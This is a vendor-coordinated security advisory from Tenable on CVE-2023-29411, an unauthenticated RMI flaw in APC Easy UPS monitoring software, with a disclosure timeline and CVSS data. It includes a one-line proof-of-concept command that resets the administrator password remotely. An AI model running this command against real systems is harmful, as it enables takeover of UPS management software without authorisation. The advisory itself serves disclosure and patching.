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Schneider Electric APC Easy UPS Online Monitoring Software Unauthenticated RMI Calls

Critical
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Synopsis

A vulnerability in Schneider Electric APC Easy UPS Online Monitoring Software V2.5-GS-01-22320 allows an unauthenticated remote attacker to issue RMI calls to certain remote Java objects in the application.

For example, the attacker can invoke cn.com.voltronicpower.rmiclass.SystemService.updateManagerPassword() to change the administrator password for the monitoring software.

POC: 

- Install remote-method-guesser (https://github.com/qtc-de/remote-method-guesser/)
- Run: java -jar rmg-4.3.1-jar-with-dependencies.jar call  41009 '"482c811da5d5b4bc6d497ffa98491e38"' --signature 'String updateManagerPassword(String managerPassword)' --bound-name system
- This command attempts to change the application's Administrator password to "password123" (without quotes)
- To reset to a different password, replace 482c811da5d5b4bc6d497ffa98491e38 with the MD5 hash hex string of a given password

Solution

See vendor advisory for patch information.

Disclosure Timeline

1/11/2023 - Disclosed to vendor
1/12/2023 - Re-sent advisory due to email issue.
1/12/2023 - Vendor Acknowledges
4/5/2023 - Vendor send update saying patch is targeted for next update round.
4/11/2023 - Vendor releases patch
4/21/2023 - Advisory released

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-29411
Tenable Advisory ID: TRA-2023-15
CVSSv3 Base / Temporal Score:
9.8/8.8
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Schneider Electric APC Easy UPS Online Monitoring Software / APC Easy UPS Online Monitoring Software Less than V2.5-GS-01-22320
Risk Factor:
Critical

Advisory Timeline

4/21/2023 - Advisory published
5/19/2023 - Corrected CVE
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